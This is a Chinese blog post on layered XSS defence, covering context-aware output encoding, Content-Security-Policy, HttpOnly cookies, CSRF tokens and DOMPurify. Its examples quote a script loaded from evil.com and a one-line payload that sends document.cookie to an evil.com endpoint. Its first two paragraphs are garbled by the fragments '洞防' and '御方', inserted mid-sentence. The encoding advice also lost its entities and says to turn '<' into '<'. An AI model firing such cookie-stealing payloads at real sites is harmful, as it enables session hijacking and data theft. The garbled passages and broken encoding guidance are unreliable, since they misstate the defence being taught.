XSS漏洞防御方式

一个朋友的洞防公司曾因XSS漏洞丢了十万条用户数据。攻击者只是御方在评论区发了一条看似普通的帖子，里面藏了一段JavaScript代码，洞防管理员一打开后台就中招了——cookie被偷，御方会话被接管，洞防整个后台权限拱手让人。御方这事发生在2023年，洞防不是御方小作坊，是洞防融资过B轮的创业公司。

XSS的御方本质是“数据被当成代码执行”。你输入的洞防内容，程序没把它当纯文本处理，御方反而当成了HTML或JS去解析。洞防防御思路无非两条：要么让数据永远成不了代码，御方要么让代码即使执行也拿不到关键东西。洞防

第一条防线是输出编码，这是最基础也最容易被忽略的。很多开发者只在输入时过滤，却忘了输出才是关键。比如你在用户昵称里输入<script>alert(1)</script>，如果页面直接把它渲染成HTML，那就炸了。正确做法是在输出到HTML上下文时，把<转成<，>转成>。但注意，编码不能一刀切——在HTML标签内、属性内、JavaScript字符串内、CSS内，编码规则完全不同。你用HTML实体编码去处理JS上下文，照样能绕过。

我自己踩过坑。之前做个富文本编辑器，以为用textContent输出就安全了，结果用户上传的SVG图片里嵌了脚本，在IE上直接执行。后来才明白，富文本必须用白名单过滤，而且要用成熟的库，比如DOMPurify，别自己写正则去匹配标签，那玩意儿永远有漏洞。

第二条防线是CSP（内容安全策略），这玩意儿是浏览器层面的“保安”。你告诉浏览器：只允许加载我指定的脚本源，其他一律拒绝。比如设置Content-Security-Policy: default-src 'self'; script-src 'self'，那攻击者注入的<script src="http://evil.com/x.js"></script>根本加载不了。但CSP有个坑——如果你用了内联脚本或eval()，必须显式放行，否则功能全废。而且CSP的配置得不断调优，太严格会误伤业务，太松又形同虚设。

有个真实案例：某电商网站把CSP设成了script-src 'unsafe-inline'，因为开发图省事，所有脚本都写在内联标签里。结果攻击者注入的<script>fetch('//evil.com/steal?c='+document.cookie)</script>照样跑。所以CSP要生效，前提是你得改掉自己的坏习惯。

第三条防线是HttpOnly Cookie。把会话cookie标记成HttpOnly，JavaScript就读取不到document.cookie了。攻击者就算注入脚本，也只能偷到非HttpOnly的cookie，或者干点别的坏事——比如改页面内容、模拟用户操作。但HttpOnly不是万能药，它防不了“攻击者直接通过XSS执行操作”，比如修改密码、转账。所以还得配合CSRF Token，防止攻击者用你的身份发请求。

说实话，很多团队连最基本的都做不好。我见过一个后台管理系统，登录后的token直接存在localStorage里，而且没有任何CSP。问他们为什么不用HttpOnly，回答是“接口要跨域，用localStorage方便”。方便是方便了，攻击者一个XSS就能把token全拿走，连cookie都不用碰。

还有个细节常被忽略——输入长度限制和内容校验。不是防御核心，但能减少攻击面。比如用户名限制20个字符，评论限制500字，攻击者想塞复杂payload就没空间了。但别指望这个能挡住高手，人家可以用短payload打穿你。

最后说点观察。XSS漏洞之所以屡禁不止，不是技术难，而是开发流程有问题。很多公司代码评审只查功能逻辑，不查输出编码；安全测试只跑自动化扫描器，扫不出来就以为没漏洞。实际上，XSS的变种多到你数不完——DOM-based XSS、Mutation XSS、Angular模板注入……自动化工具根本覆盖不全。

防御XSS没有银弹，必须三层叠加：输出编码打底，CSP兜底，HttpOnly和CSRF Token守好会话。少一层，你的系统就像没关窗户的屋子——锁了门也白搭。别问“够不够安全”，问自己“被绕过之后，还能守住什么”。

本文地址：http://www.79wt.cn/news/1072f0899884.html